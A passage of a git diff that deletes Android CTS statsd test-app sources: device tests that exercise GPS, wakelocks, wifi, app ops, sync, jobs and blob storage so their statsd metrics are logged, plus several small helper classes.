- if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
- cam.setTorchMode(id, true);
- sleep(500);
- cam.setTorchMode(id, false);
- foundFlash = true;
- break;
- }
- }
- if(!foundFlash) {
- Log.e(TAG, "No flashlight found on device");
- }
- }
-
- @Test
- public void testForegroundService() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- // The service goes into foreground and exits shortly
- Intent intent = new Intent(context, StatsdCtsForegroundService.class);
- context.startService(intent);
- sleep(500);
- context.stopService(intent);
- }
-
- @Test
- public void testForegroundServiceAccessAppOp() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
- AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
- // No foreground service session
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
- sleep(500);
-
- // Foreground service session 1
- context.startService(fgsIntent);
- while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
- sleep(50);
- }
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
- startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
- startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
- sleep(500);
- context.stopService(fgsIntent);
-
- // No foreground service session
- noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
- sleep(500);
-
- // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
- }
-
- @Test
- public void testAppOps() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
- String[] opsList = appOpsManager.getOpStrs();
-
- for (int i = 0; i < opsList.length; i++) {
- String op = opsList[i];
- if (TextUtils.isEmpty(op)) {
- // Operation removed/deprecated
- continue;
- }
- int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
- for (int j = 0; j < noteCount; j++) {
- try {
- noteAppOp(appOpsManager, opsList[i]);
- } catch (SecurityException e) {}
- }
- }
- }
-
- private void noteAppOp(AppOpsManager aom, String opStr) {
- aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
- }
-
- private void startAppOp(AppOpsManager aom, String opStr) {
- aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
- }
-
- /** Check if service is running. */
- public boolean checkIfServiceRunning(Context context, String serviceName) {
- ActivityManager manager = context.getSystemService(ActivityManager.class);
- for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
- if (serviceName.equals(service.service.getClassName()) && service.foreground) {
- return true;
- }
- }
- return false;
- }
-
- @Test
- public void testGpsScan() {
- Context context = InstrumentationRegistry.getContext();
- final LocationManager locManager = context.getSystemService(LocationManager.class);
- if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
- Log.e(TAG, "GPS provider is not enabled");
- return;
- }
- CountDownLatch latch = new CountDownLatch(1);
-
- final LocationListener locListener = new LocationListener() {
- public void onLocationChanged(Location location) {
- Log.v(TAG, "onLocationChanged: location has been obtained");
- }
- public void onProviderDisabled(String provider) {
- Log.w(TAG, "onProviderDisabled " + provider);
- }
- public void onProviderEnabled(String provider) {
- Log.w(TAG, "onProviderEnabled " + provider);
- }
- public void onStatusChanged(String provider, int status, Bundle extras) {
- Log.w(TAG, "onStatusChanged " + provider + " " + status);
- }
- };
-
- new AsyncTask<Void, Void, Void>() {
- @Override
- protected Void doInBackground(Void... params) {
- Looper.prepare();
- locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
- locListener);
- sleep(1_000);
- locManager.removeUpdates(locListener);
- latch.countDown();
- return null;
- }
- }.execute();
-
- waitForReceiver(context, 59_000, latch, null);
- }
-
- @Test
- public void testGpsStatus() {
- Context context = InstrumentationRegistry.getContext();
- final LocationManager locManager = context.getSystemService(LocationManager.class);
-
- if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
- Log.e(TAG, "GPS provider is not enabled");
- return;
- }
-
- // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
- // max time which would be around 90 seconds.
- // This is based on similar location cts test timeout values.
- final int TIMEOUT_IN_MSEC = 85_000;
- final int SLEEP_TIME_IN_MSEC = 5_000;
-
- final CountDownLatch mLatchNetwork = new CountDownLatch(1);
-
- final LocationListener locListener = location -> {
- Log.v(TAG, "onLocationChanged: location has been obtained");
- mLatchNetwork.countDown();
- };
-
- // fetch the networklocation first to make sure the ttff is not flaky
- if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
- Log.i(TAG, "Request Network Location updates.");
- locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
- 0 /* minTime*/,
- 0 /* minDistance */,
- locListener,
- Looper.getMainLooper());
- }
- waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
-
- // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
- // not occur in the first SLEEP_TIME_IN_MSEC
- final CountDownLatch mLatchTtff = new CountDownLatch(1);
-
- GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
- @Override
- public void onStarted() {
- Log.v(TAG, "Gnss Status Listener Started");
- }
-
- @Override
- public void onStopped() {
- Log.v(TAG, "Gnss Status Listener Stopped");
- }
-
- @Override
- public void onFirstFix(int ttffMillis) {
- Log.v(TAG, "Gnss Status Listener Received TTFF");
- mLatchTtff.countDown();
- }
-
- @Override
- public void onSatelliteStatusChanged(GnssStatus status) {
- Log.v(TAG, "Gnss Status Listener Received Status Update");
- }
- };
-
- boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
- gnssStatusCallback, new Handler(Looper.getMainLooper()));
- if (!gnssStatusCallbackAdded) {
- // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
- Log.e(TAG, "Failed to start gnss status callback");
- }
-
- locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
- 0,
- 0 /* minDistance */,
- locListener,
- Looper.getMainLooper());
- sleep(SLEEP_TIME_IN_MSEC);
- waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
- locManager.removeUpdates(locListener);
- locManager.unregisterGnssStatusCallback(gnssStatusCallback);
- }
-
- @Test
- public void testScreenBrightness() {
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
- PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
- wl.acquire();
- sleep(500);
-
- setScreenBrightness(47);
- sleep(500);
- setScreenBrightness(100);
- sleep(500);
- setScreenBrightness(198);
- sleep(500);
-
-
- wl.release();
- }
-
- @Test
- public void testSyncState() throws Exception {
-
- Context context = InstrumentationRegistry.getContext();
- StatsdAuthenticator.removeAllAccounts(context);
- AccountManager am = context.getSystemService(AccountManager.class);
- CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
-
- Account account = StatsdAuthenticator.getTestAccount();
- StatsdAuthenticator.ensureTestAccount(context);
- sleep(500);
-
- // Just force set is syncable.
- ContentResolver.setMasterSyncAutomatically(true);
- sleep(500);
- ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
- // Wait for the first (automatic) sync to finish
- waitForReceiver(context, 120_000, latch, null);
-
- //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
- sleep(500);
-
- // Request and wait for the second sync to finish
- latch = StatsdSyncAdapter.resetCountDownLatch();
- StatsdSyncAdapter.requestSync(account);
- waitForReceiver(context, 120_000, latch, null);
- StatsdAuthenticator.removeAllAccounts(context);
- }
-
- @Test
- public void testScheduledJob() throws Exception {
- final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
- StatsdJobService.class.getName());
-
- Context context = InstrumentationRegistry.getContext();
- JobScheduler js = context.getSystemService(JobScheduler.class);
- assertWithMessage("JobScheduler service not available").that(js).isNotNull();
-
- JobInfo.Builder builder = new JobInfo.Builder(1, name);
- builder.setOverrideDeadline(0);
- JobInfo job = builder.build();
-
- long startTime = System.currentTimeMillis();
- CountDownLatch latch = StatsdJobService.resetCountDownLatch();
- js.schedule(job);
- waitForReceiver(context, 5_000, latch, null);
- }
-
- @Test
- public void testVibratorState() {
- Context context = InstrumentationRegistry.getContext();
- Vibrator vib = context.getSystemService(Vibrator.class);
- if (vib.hasVibrator()) {
- vib.vibrate(VibrationEffect.createOneShot(
- 500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
- }
- }
-
- @Test
- public void testWakelockState() {
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
- "StatsdPartialWakelock");
- wl.acquire();
- sleep(500);
- wl.release();
- }
-
- @Test
- public void testSliceByWakelockState() {
- int uid = Process.myUid();
- int whatAtomId = 9_998;
- int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
- String tag = "StatsdPartialWakelock";
-
- Context context = InstrumentationRegistry.getContext();
- PowerManager pm = context.getSystemService(PowerManager.class);
- PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
-
- wl.acquire();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- wl.acquire();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- wl.release();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- wl.release();
- sleep(500);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
- }
-
- private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
- int field2, String field3) {
- final StatsEvent.Builder builder = StatsEvent.newBuilder()
- .setAtomId(atomId)
- .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
- .writeInt(field2)
- .writeString(field3)
- .usePooledBuffer();
-
- StatsLog.write(builder.build());
- }
-
-
- @Test
- public void testWakelockLoad() {
- final int NUM_THREADS = 16;
- CountDownLatch latch = new CountDownLatch(NUM_THREADS);
- for (int i = 0; i < NUM_THREADS; i++) {
- Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
- t.start();
- }
- waitForReceiver(null, 120_000, latch, null);
- }
-
- @Test
- public void testWakeupAlarm() {
- Context context = InstrumentationRegistry.getContext();
- String name = "android.cts.statsd.testWakeupAlarm";
- CountDownLatch onReceiveLatch = new CountDownLatch(1);
- BroadcastReceiver receiver =
- registerReceiver(context, onReceiveLatch, new IntentFilter(name));
- AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
- PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
- manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
- SystemClock.elapsedRealtime() + 2_000, pintent);
- waitForReceiver(context, 10_000, onReceiveLatch, receiver);
- }
-
- @Test
- public void testWifiLockHighPerf() {
- Context context = InstrumentationRegistry.getContext();
- WifiManager wm = context.getSystemService(WifiManager.class);
- WifiManager.WifiLock lock =
- wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
- lock.acquire();
- sleep(500);
- lock.release();
- }
-
- @Test
- public void testWifiLockLowLatency() {
- Context context = InstrumentationRegistry.getContext();
- WifiManager wm = context.getSystemService(WifiManager.class);
- WifiManager.WifiLock lock =
- wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
- lock.acquire();
- sleep(500);
- lock.release();
- }
-
- @Test
- public void testWifiMulticastLock() {
- Context context = InstrumentationRegistry.getContext();
- WifiManager wm = context.getSystemService(WifiManager.class);
- WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
- lock.acquire();
- sleep(500);
- lock.release();
- }
-
- @Test
- /** Does two wifi scans. */
- // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
- public void testWifiScan() {
- Context context = InstrumentationRegistry.getContext();
- IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
- // Sometimes a scan was already running (from a different uid), so the first scan doesn't
- // start when requested. Therefore, additionally wait for whatever scan is currently running
- // to finish, then request a scan again - at least one of these two scans should be
- // attributed to this app.
- for (int i = 0; i < 2; i++) {
- CountDownLatch onReceiveLatch = new CountDownLatch(1);
- BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
- context.getSystemService(WifiManager.class).startScan();
- waitForReceiver(context, 60_000, onReceiveLatch, receiver);
- }
- }
-
- @Test
- public void testSimpleCpu() {
- long timestamp = System.currentTimeMillis();
- for (int i = 0; i < 10000; i ++) {
- timestamp += i;
- }
- Log.i(TAG, "The answer is " + timestamp);
- }
-
- @Test
- public void testWriteRawTestAtom() throws Exception {
- Context context = InstrumentationRegistry.getTargetContext();
- ApplicationInfo appInfo = context.getPackageManager()
- .getApplicationInfo(context.getPackageName(), 0);
- int[] uids = {1234, appInfo.uid};
- String[] tags = {"tag1", "tag2"};
- byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
- StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
- Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
- StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
-
- // All nulls. Should get dropped since cts app is not in the attribution chain.
- StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
- 0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
-
- // Null tag in attribution chain.
- int[] uids2 = {9999, appInfo.uid};
- String[] tags2 = {"tag9999", null};
- StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
- Long.MIN_VALUE, -2.5f, "Test null uid", true,
- StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
-
- // Non chained non-null
- StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
- appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
- StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
-
- // Non chained all null
- StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
- 0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
-
- }
-
- /**
- * Bring up and generate some traffic on cellular data connection.
- */
- @Test
- public void testGenerateMobileTraffic() throws Exception {
- final Context context = InstrumentationRegistry.getContext();
- doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
- }
-
- // Constants which are locally used by doGenerateNetworkTraffic.
- private static final int NETWORK_TIMEOUT_MILLIS = 15000;
- private static final String HTTPS_HOST_URL =
- "https://connectivitycheck.gstatic.com/generate_204";
-
- private void doGenerateNetworkTraffic(@NonNull Context context,
- @NetworkCapabilities.Transport int transport) throws InterruptedException {
- final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
- final NetworkRequest request = new NetworkRequest.Builder().addCapability(
- NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
- final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
-
- // Request network, and make http query when the network is available.
- cm.requestNetwork(request, callback);
-
- // If network is not available, throws IllegalStateException.
- final Network network = callback.waitForAvailable();
- if (network == null) {
- throw new IllegalStateException("network "
- + NetworkCapabilities.transportNameOf(transport) + " is not available.");
- }
-
- final long startTime = SystemClock.elapsedRealtime();
- try {
- exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
- Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
- - startTime) + " ms");
- } catch (Exception e) {
- Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
- - startTime) + " ms: " + e);
- } finally {
- cm.unregisterNetworkCallback(callback);
- }
- }
-
- /**
- * Generate traffic on specified network.
- */
- private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
- @NonNull URL url) throws Exception {
- cm.bindProcessToNetwork(network);
- HttpURLConnection urlc = null;
- try {
- urlc = (HttpURLConnection) network.openConnection(url);
- urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
- urlc.setUseCaches(false);
- urlc.connect();
- } finally {
- if (urlc != null) {
- urlc.disconnect();
- }
- }
- }
-
- // Constants for testBlobStore
- private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
- private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
- private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
- private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
- private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
- "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
- @Test
- public void testBlobStore() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
- BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
- final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
- final FakeBlobData blobData = new FakeBlobData.Builder(context).setExpiryDurationMs(
- BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
- blobData.prepare();
- try {
- // Commit the Blob, should result in BLOB_COMMITTED atom event
- commitBlob(context, bsm, blobData);
-
- // Lease the Blob, should result in BLOB_LEASED atom event
- bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
- // Open the Blob, should result in BLOB_OPENED atom event
- bsm.openBlob(blobData.getBlobHandle());
-
- } finally {
- blobData.delete();
- }
- }
-
- // ------- Helper methods
-
- /** Puts the current thread to sleep. */
- static void sleep(int millis) {
- try {
- Thread.sleep(millis);
- } catch (InterruptedException e) {
- Log.e(TAG, "Interrupted exception while sleeping", e);
- }
- }
-
- /** Register receiver to determine when given action is complete. */
- private static BroadcastReceiver registerReceiver(
- Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
- BroadcastReceiver receiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.d(TAG, "Received broadcast.");
- onReceiveLatch.countDown();
- }
- };
- // Run Broadcast receiver in a different thread since the main thread will wait.
- HandlerThread handlerThread = new HandlerThread("br_handler_thread");
- handlerThread.start();
- Looper looper = handlerThread.getLooper();
- Handler handler = new Handler(looper);
- ctx.registerReceiver(receiver, intentFilter, null, handler);
- return receiver;
- }
-
- /**
- * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
- * receiver is needed to be unregistered.
- */
- private static void waitForReceiver(Context ctx,
- int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
- try {
- boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
- if (didFinish) {
- Log.v(TAG, "Finished performing action");
- } else {
- // This is not necessarily a problem. If we just want to make sure a count was
- // recorded for the request, it doesn't matter if the action actually finished.
- Log.w(TAG, "Did not finish in specified time.");
- }
- } catch (InterruptedException e) {
- Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
- }
- if (ctx != null && receiver != null) {
- ctx.unregisterReceiver(receiver);
- }
- }
-
- private static void setScreenBrightness(int brightness) {
- runShellCommand("settings put system screen_brightness " + brightness);
- }
-
-
- private void commitBlob(Context context, BlobStoreManager bsm, FakeBlobData blobData)
- throws Exception {;
- final long sessionId = bsm.createSession(blobData.getBlobHandle());
- try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
- blobData.writeToSession(session);
- session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
- final CompletableFuture<Integer> callback = new CompletableFuture<>();
- session.commit(context.getMainExecutor(), callback::complete);
- assertWithMessage("Session failed to commit within timeout").that(
- callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
- }
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
deleted file mode 100644
index 3728cef..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.net.wifi.WifiManager;
-import android.os.Vibrator;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Test;
-
-/**
- * Methods to check device properties. They pass iff the check returns true.
- */
-public class Checkers {
- private static final String TAG = Checkers.class.getSimpleName();
-
- @Test
- public void checkVibratorSupported() {
- Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
- assertThat(v.hasVibrator()).isTrue();
- }
-
- @Test
- public void checkWifiEnhancedPowerReportingSupported() {
- WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
- assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
deleted file mode 100644
index e2ec7f7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.widget.VideoView;
-import android.util.Log;
-
-
-public class DaveyActivity extends Activity {
- private static final String TAG = "statsdDaveyActivity";
-
- /** Called when the activity is first created. */
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_davey);
- DaveyView view = (DaveyView)findViewById(R.id.davey_view);
- view.causeDavey(true);
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
deleted file mode 100644
index bf1cd35..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.view.View;
-import android.content.Context;
-import android.content.res.TypedArray;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.FontMetrics;
-import android.os.SystemClock;
-import android.util.AttributeSet;
-import android.util.Log;
-
-
-public class DaveyView extends View {
-
- private static final String TAG = "statsdDaveyView";
-
- private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
- private boolean mCauseDavey;
- private Paint mPaint;
- private int mTexty;
-
- public DaveyView(Context context, AttributeSet attrs) {
- super(context, attrs);
- TypedArray a = context.getTheme().obtainStyledAttributes(
- attrs,
- R.styleable.DaveyView,
- 0, 0);
-
- try {
- mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
- } finally {
- a.recycle();
- }
-
- mPaint = new Paint();
- mPaint.setColor(Color.BLACK);
- mPaint.setTextSize(20);
- FontMetrics metric = mPaint.getFontMetrics();
- int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
- mTexty = textHeight - (int) metric.descent;
- }
-
- public void causeDavey(boolean cause) {
- mCauseDavey = cause;
- invalidate();
- }
-
- @Override
- protected void onDraw(Canvas canvas) {
- super.onDraw(canvas);
- if (mCauseDavey) {
- canvas.drawText("Davey!", 0, mTexty, mPaint);
- SystemClock.sleep(DAVEY_TIME_MS);
- mCauseDavey = false;
- } else {
- canvas.drawText("No Davey", 0, mTexty, mPaint);
- }
- }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
deleted file mode 100644
index fd849c9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import org.junit.Test;
-
-import java.io.File;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-public class DirectoryTests {
-
- @Test
- public void testStatsActiveMetricDirectoryExists() {
- final File f = new File("/data/misc/stats-active-metric/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testStatsDataDirectoryExists() {
- final File f = new File("/data/misc/stats-data/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testStatsMetadataDirectoryExists() {
- final File f = new File("/data/misc/stats-metadata/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testStatsServiceDirectoryExists() {
- final File f = new File("/data/misc/stats-service/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-
- @Test
- public void testTrainInfoDirectoryExists() {
- final File f = new File("/data/misc/train-info/");
- assertTrue(f.exists());
- assertFalse(f.isFile());
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
deleted file mode 100644
index 3e52342..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
-
-public class DummyCallscreeningService extends CallScreeningService {
- @Override
- public void onScreenCall(@NonNull Call.Details callDetails) {
-
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
deleted file mode 100644
index 85acd07..0000000
